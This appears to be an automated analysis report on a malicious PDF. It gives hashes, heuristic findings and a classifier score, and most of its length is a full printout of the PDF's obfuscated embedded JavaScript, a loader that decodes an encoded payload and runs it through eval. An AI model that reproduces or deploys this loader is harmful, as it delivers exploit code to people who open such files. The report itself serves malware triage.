PDF malware analysis — malicious · cbabb71983232680

MALICIOUS

PDF

35.6 KB Authoring application: 204G159G162G204G195G168G207G153G207G144G198G159G198G159G198G159G198G153G198G159G147G198G198G153G147G201G204G159G150G204G198G159G147G198G198G153G153G156G144G201G165G207G147G195G147G198G147G198G150G159G First seen: 2013-05-18

MD5: a4597bf99ffcdc9ef4b975482748a7c6 SHA-1: 217bbb8cb06858d153088c76f71158111ffcda3f SHA-256: cbabb71983232680f9c7ce55ff79adbfb3783d7672c506aee0cef0054d12afa1

120 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flagged this PDF as malicious. While the document body is unreadable, the presence of JavaScript and the ML score suggest it's designed to execute malicious code. The extracted artifact 'javascript_obj0099_000.js' is the primary IOC.

Machine Learning

Nyx PDF Classifier malicious score 0.9995

Heuristics 6

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

}
function qwaerasdf(asd){return String.fromCharCode(asd);}
var asdfqwegqwegqewfa="G315G96G180G96G153G144"+"G144G177G96G315G129G129"+"G123G369G327G303G327G333"+"G342G363G273"+"G315G279G96G183G96G"+"324G333G36"+"0G261G312G30"+"3G303G138G345G351G2"+"94G345G348G342G120G144G132"+"G324G333G360G261G312"+"G303G303G138G"+"324G303G330G309G3"+"48G312G96G135G96G1"+"47G96G123G96G129G96G300G2"+"91G321G246G333G"+"348G303G177G375G37"+"5G30G306G35"+"1G330G297G348"+"G315G333G330G96G34"+"5G348G342G285G3"+"42G303G336G303G291G"+"348G96G120G96G315G330G3"+"36G351G348G132G9"+" …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE

PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0099_000.js`	pdf-javascript-stream	PDF /JS object 99 at offset 0x7FB9	11272 bytes
SHA-256: `575d0bdd008d8572f586a62acebd6d1e2a336885188cd717a7b33f5bd1ab0215`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function rhjahahagk(){ function gqrqewfsdf(str){var set='';var s='';var ee=''; str = sadfjsadkl(str); str = str.split(","); for(var i=0;i<str.length;i++){ ee=str[i]/3; set+=asdfqwef(ee.toString(16));} return set; } function dsjfassldfhgj(sadsfjkgAD){var jdhjkashfhaui = 0/120+""; return jdhjkashfhaui+sadsfjkgAD;} function asdfqwef(eds){var set='';var s=eds; if (s.length<2) {set=dsjfassldfhgj(s);} else{set=s;} return set; } function qwaerasdf(asd){return String.fromCharCode(asd);} var asdfqwegqwegqewfa="G315G96G180G96G153G144"+"G144G177G96G315G129G129"+"G123G369G327G303G327G333"+"G342G363G273"+"G315G279G96G183G96G"+"324G333G36"+"0G261G312G30"+"3G303G138G345G351G2"+"94G345G348G342G120G144G132"+"G324G333G360G261G312"+"G303G303G138G"+"324G303G330G309G3"+"48G312G96G135G96G1"+"47G96G123G96G129G96G300G2"+"91G321G246G333G"+"348G303G177G375G37"+"5G30G306G35"+"1G330G297G348"+"G315G333G330G96G34"+"5G348G342G285G3"+"42G303G336G303G291G"+"348G96G120G96G315G330G3"+"36G351G348G132G9"+"6G297G330G348G96G1"+"23G96G369G30G354G291G"+"342G96G294G351"+"G306G96G183G9"+"6G102G102G177G30G"+"306G333G342G96G120"+"G315G183G144G"+"177G96G315G96G180G96G297G"+"330G348G177G9"+"6G315G129G129G"+"123G369G30G294"+"G351G306G96G12"+"9G183G96G315G330G3"+"36G351G348G177G30G3"+"75G342G303G348G351G"+"342G330G96G294G351G306G17"+"7G375G30G306G351G330"+"G297G348G315G333G3"+"30G96G345G312G303G324G324"+"G297G333G300G303G120G3"+"24G333G291G300G255G"+"342G324G123G369G30G3"+"54G291G342G96G3"+"45G297G333G"+"300G303G96G183G96G"+"102G207G198G147G147"+"G159G198G156G"+"198G153G153G201G17"+"1G162G162G168"+"G147G201G171G144G1"+"44G144G156G168G144G1"+"53G156G144G198G207G156G207G"+"150G210G195G207G19"+"8G144G159G207"+"G168G207G195G210G21"+"0G210G210G2"+"10G210G144G204G159G195"+"G207G159G207"+"G156G207G156G204G1"+"59G150G204G168G144G162G21"+"0G171G159G204G156G162G2"+"10G171G150G207G168G162G2"+"10G171G150G210G168G16"+"2G210G168G195G2"+"07G201G162G210G195G150G201G1"+"56G162G210G204G1"+"50G168G150G204G204G195"+"G201G210G201G171G147G147"+"G162G162G210G195G147"+"G204G168G162"+"G210G198G144G207G147G"+"171G201G207G159G144G207G1"+"62G210G171G162G201G156G20"+"7G159G144G195G198G162"+"G204G159G150G204G"+"195G204G195G"+"159G156G171G207G159G14"+"4G201G204G159G153G21"+"0G207G198G159G195G"+"210G156G204G201G147G162G171G"+"144G207G201G150G159G150"+"G210G207G195G207G159"+"G153G165G195G156G144G210"+"G147G159G204G210G210G1"+"98G171G147G144G153G198G2"+"07G162G210G171G162"+"G201G144G207G159G"+"144G195G168G1"+"50G162G210G207G168G1"+"95G195G162G210G171G162G21"+"0G168G207G159G144G195G162G2"+"10G207G144G162G195G207"+"G159G144G201G156G"+"210G198G210G19"+"8G165G150G165G1"+"98G198G144G"+"201G165G171G147G198G147G"+"198G147G198G144G201G1"+"59G162G147G198G147G198G147"+"G198G144G201G156G17"+"1G147G198G147G1"+"98G147G198G144G"+"201G156G201G14"+"7G198G147G198G147G198G144G"+"201G156G165G147G1"+"98G147G198G147G198G"+"144G201G165G19"+"5G147G198G147G198G14"+"7G198G144G201G165"+"G204G147G198"+"G147G198G147G"; var fdjkghajklsdfhldskhfk="65G144G201"+"G207G144G201G204G147G1"+"47G198G159G198G156"+"G198G147G198G150G147G198"+"G171G15"+"3G144G168G147"+"G198G19"+"8G153G144G1"+"44G147G198G171G153"+"G144G168G147G198G"+"198G153G144G2"+"01G168G150G159G210"+"G207G150G207G156G168"+"G150G195G21"+"0G168G150"+"G162G165G147G210"+"G207G156G171G144G204"+"G162G204G159G150"+"G204G198G171G168G207"+"G207G147G198G159G"+"198G159G198G147G19"+"8G159G198G159G1"+"47G198G198G153G147G"+"144G162G165G147G2"+"01G201G156G171G195G144"+"G150G204G159"+"G150G156G204G1"+"59G150G204"+"G195G156G207G"+"198G159G195"+"G210G144G207G153"+"G204G201G147G162G171G1"+"47G147G153G150G153G207G144"+"G207G153G201G1"+"50G168G150G204G171G"+"204G159G162G204G195G1"+"68G207G153G207G144G198G159G198"+"G159G198G159G198G153G19"+"8G159G147G198G198G153G147"+"G201G204G159G150G204"+"G198G159G147G198"+"G198G153G153G15"+"6G144G201G165G207G14"+"7G195G147G198G147G198G"+"150G159G171G153G195G207G144"+"G153G162G207G168G198G150G15"+"0G210G165G144G162"+"G162G195G1"+"71G156G147G144G20"+"7G210G159G210G204G150G2"+"10G153G171G159G153G210"+"G144G150G162"+"G162G210G165G147"+"G168G162G171G"+"168G165G171G16"+"5G159G204G153G147G207"+"G159G147G204G2"+"10G171G171G198G156G2"+"04G198G168G156G162G150G201G"+"150G210G195G144G207G15"+"0G165G201G195G168"+"G156G195G168G150G168G165G165G"+"153G147G198G147G198G1"+"47G198G147G198G102G96G12"+"9G30G27G324G333G291G300G255G342"+"G324G96G129G96G102G207G156"+"G102G177G30G27G342G303G348G351G34"+"2G330G96G345G297G"+"333G300G303G177G30G375G30G354G"+"291G342G96G324"+"G333G291G300G255G"+"342G32"+"4G195G324G345G333G264G33"+"3G342G303G300"+"G96G183G96G348G312G3"+"15G345G138G315G330G306G3"+"33G138G252G315G348G32"+"4G303G177G30G3"+"54G291G3"+"42G96G345G"+"297G333G300G303G96G183"+"G96G345G312G303G324"+"G324G297G333G300G303G1"+"20G324G333G291G300G255"+"G342G324G195G"+"324G345G33"+"3G264G333G342G303G300G"+"123G177G30G312G303G291G336G24"+"9G336G342G291G363G120G3"+"12G303G360G150G294G315G330G1"+"20G345G297G333G300G303G123G123"+"G177G30G354G29"+"1G342G96G327G345G309G285G294G333G"+"306G96G183"+"G96G345G348G342G285G342G"+"303G336G303G291G34"+"8G120G96G10"+"2G276G351G144G2"+"97G144G297G276G351G14"+"4G297G144G297G"+"102G96G132G96G156G144G171"+"G162G96G123G177G30G348G"+"312G315G345G"+"138G"+"297G333G324G324G29"+"1G294G249G348G333G34"+"2G303G96G183G96G"+"201G333G324G324G291G294G13"+"8G297G333G324G324G303G297G3"+"48G207G327G291G315G"+"324G219G"+"330G306G333G120G369G345"+"G351G294G318G174G102G"+"102G132G327"+"G345G309G174G327G345G309"+"G285G294G333G306"+"G375G123G177G96G30"; var ss="354G291G342G96G213G177G"+"306G351G330G297G348G315"+"G333G330G96G312G30"+"3G360G150G29"+"4G315G330G1"+"20G342G303G345G"+"123G96G369G30G354G2"+"91G342G96G31"+"5G177G30G3"+"54G291G342G96G309G96G183G96G"+"231G291G348G312G138G342G"+"333G351G330G300G120G342G30"+"3G345G138G324G303G330"+"G309G348G312G14"+"1G156G12"+"3G177G30G315G306G"+"96G120G309G96G99G18"+"3G96G120G342G303G3"+"45G138G324G303G330G309G348"+"G312G141G156G123G123"+"G96G342G303G345G"+"96G183G96G342G303G345G96G"+"129G96G102G144G144G102G1"+"77G30G354G291G342G96G3"+"33G351G348G96G183G96G102G10"+"2G177G30G306G333G342"+"G96G120G3"+"15G183G144G177G96G315G18"+"0G342G303G345G138G324G"+"303G330G309G348G312G177G96G31"+"5G129G183G156G123G96"+"G369G30G333G351G3"+"48G96G183G9"+"6G333G351G348G96"+"G129G96G102G111G35"+"1G102G96G129G96G342G303G"+"345G138G345G351G29"+"4G345G348G342G120G315G129"+"G150G132G150G"+"123G96"+"G129G96G342G303G345G"+"138G345G351G294G345G348G34"+"2G120G315G132G150G123G177G"+"30G375G342G303G34"+"8G351G342G330G96G351G330G30"+"3G345G29"+"7G291G336G303G120G333G351"+"G348G123G177"+"G375G30G306G351G330G297G"+"348G315G333G330G96G"+"306G315G360G285G315G348"+"G120G363G2"+"91G342G345"+"G336G132G96G324G3"+"03G330G123G369G30G35"+"7G312G315G324G303G120G3"+"63G291G342G345G"+"336G138G324G303G33"+"0G309G348G3"+"12G96G126G96G"+"150G96G180G96G324G303G3"+"30G123G369G30G"+"363G291G342G345"+"G336G96G129G18"+"3G96G363G291G342G345G336G17"+"7G30G375G342G3"+"03G348G351G342G330"+"G96G363G291"+"G342G345G336G138G345G"+"351G294G345G348G342G315G3"+"30G309G120G144"+"G132G96G324G303G330G"+"96G141G96G150"+"G123G177G375G30G3"+"06G351G330G297G348"+"G315G333G330G96G3"+"12G303G291G336G249G336G342G29"+"1G363G120G345G348G342G12"+"3G369G30G342G33"+"3G348G303G204G291G321G"+"96G183G96G345G348G342"+"G138G324G303G330G309G348G3"+"12G96G126G96G150"+"G177G30G300G291G321G246"+"G333G348G303G18"+"3G96G102G276G351G17"+"1G144G171G1"+"44G102G177G3"+"0G345G336G34"+"2G291G363G96G183G96G30"+"6G315G360G285G3"+"15G348G120G300G"+"291G321G246G"+"333G348G303G132"+"G96G144G360G1"+"50G144G144G144G96G13"+"5G96G342G333G348G30"+"3G204G291G321G123"+"G177G30G324G333G360"+"G261G312G303G30"+"3G96G183G96G345G3"+"48G342G96G129G96G345G336G"+"342G291G363G177"+"G30G324G333G360G"+"261G312G303G303G96G183"+"G96G306G315G360"+"G285G315G348"+"G120G324G33"+"3G360G261G31"+"2G303G303G132G96G1"+"59G150G156G144G171G"+"168G123G177G"+"30G327G303G327"+"G333G342G3"+"63G96G183G96"+"G330G303G3"+"57G96G19"+"5G342G342G291G363G120"+"G123G177G30G3"+"06G333G342G120G315"+"G183G144G177G96"; var podfghiodihisdg="198G144G201G165G1"+"44G147G198G147G198"+"G147G198G168G201G168G16"+"8G204G165G204G162"+"G207G156G168G201G171G165"+"G168G201G168G1"+"47G168G168G198G144G"+"147G198G198G153G147"+"G168G162G204G150G147G144G20"+"1G171G198G147G198G147G"+"198G147G198G144G2"+"01G171G207G147G19"+"8G147G198G147G1"+"98G168G201G168G"+"198G168G195G207G1"+"56G207G156G168G201G"+"171G147G171G162G16"+"8G168G168G171G198G144"+"G147G198G198G"+"153G147G144G162G2"+"04G150G147G144G201G168G147G147G"+"198G147G198G147G198"+"G162G165G150G153G207G144G204G15"+"9G150G204G162G204G14"+"4G147"+"G198G147G198G159G198G159G168G2"+"07G201G201G19"+"8G159G147G198G198G153"+"G147G156G195G147G207G19"+"8G159G195G198G147G2"+"07G156G204G201G14"+"7G162G171G147G147G153G150G"+"153G195G147G207G156"+"G198G168G168G17"+"1G171G165G20"+"1G195G150G153G195G1"+"47G207G144G168G147"+"G171G201G168G1"+"47G207G156G162G204G144G1"+"47G168G150G159G210G207G"+"144G207G156G168G"+"150G195G210G168G"+"150G162G165G147G210G2"+"07G156G207G198"+"G162G144G150G207G207G15"+"6G207G156G207G1"+"56G204G159G150G204G198G1"+"59G198G159G198G147G198G"+"153G198G159G147G1"+"98G198G153G147G20"+"1G162G165G1"+"47G201G207G156G171G147G144G1"+"47G168G20"+"7G207G144G168G201G20"+"7G156G210G156G207G15"+"6G207G156G168G201"+"G207G156G201G156G"+"195G195G20"+"7G156G168G207"+"G207G156G147G198G1"+"98G153G153G144G162"+"G204G150G150G204G"+"159G150G204G198G15"+"9G168G207G198G156G1"+"68G207G207G165"+"G198G159G198G159G168G"+"201G207G156G207G1"+"56G207G156G150G156G1"+"98G147G147G198G198G1"+"53G153G201"+"G162G204G195G153G144G1"+"68G198G14"+"7G162G204G147G147G204G1"+"59G150G204G162G204G147G20"+"1G162G165G144G201G207G144G198G159G198G"+"156G168G201G201G144G210G15"+"6G207G156G207G"+"156G198G147G147G198G"+"171G153G144G168G147G198G"+"198G153G15"+"3G168G207G165G168G198G1"+"47G168G162G165G171G198G1"+"47G168G207G156G171G147"+"G144G162G162G204G147G"+"159G195G204G19"+"5G159G204G204G144G204"+"G171G144G207G201G195G"+"159G162G156G204G159"+"G204G165G204G20"+"4G144G204G171"+"G147G147G165G204G159G150G204G1"+"98G159G198G159G198G159G14"+"7G198G171G153G144G168G1"+"47G198G198G153G144G156G"+"204G159G150G204G162G204"+"G147G201G162G1"; function dec(input2) {var asdf =gqrqewfsdf(input2) ; var asfdsad = hex2a(asdf); return asfdsad;} function sadfjsadkl(str){return str.replace(/G/g,",");} function hex2a(hex) { var str = '';var zzz=qwaerasdf; for (var i = 0; i < hex.length; i += 2){ var sssss = hex.substr(i,2); str +=qwaerasdf('asdfwefwuiegfyuadsui0x'.substr(20,2)+sssss); } return str; } ss+=asdfqwegqwegqewfa+podfghiodihisdg; var dad=""; function adsfquifhiwuf(d,dd){return d+dd;} ss+=adsfquifhiwuf(fdjkghajklsdfhldskhfk,dad); var ss=dec(ss); var czvhjashavsiodhvuipashcpioasdcs = app.alert["hadsfuihuiahfuhauishzcnxvvjbasbvdiopjiovpasodjviopasconstructorkajdsfhjkasdhfjkhadskjlhvlaksjhdvdsklavh".substring(52,63)]; function asdfeaf(s){if (s==0){return false}else{return true}} var susea=asdfeaf(1)+""; var seasus=asdfeaf(0)+""; var daeaefe="eafadsfjekafhjkavadfefafaef"; var argqrgqadsfwqgwafdsfwef=susea[(3+3)/2]; argqrgqadsfwqgwafdsfwef+=daeaefe[(16+16)/2]; argqrgqadsfwqgwafdsfwef+=seasus[((1+9)/5)-1]; argqrgqadsfwqgwafdsfwef+=seasus[(2+10)/6]; czvhjashavsiodhvuipashcpioasdcs[argqrgqadsfwqgwafdsfwef](ss); } rhjahahagk();

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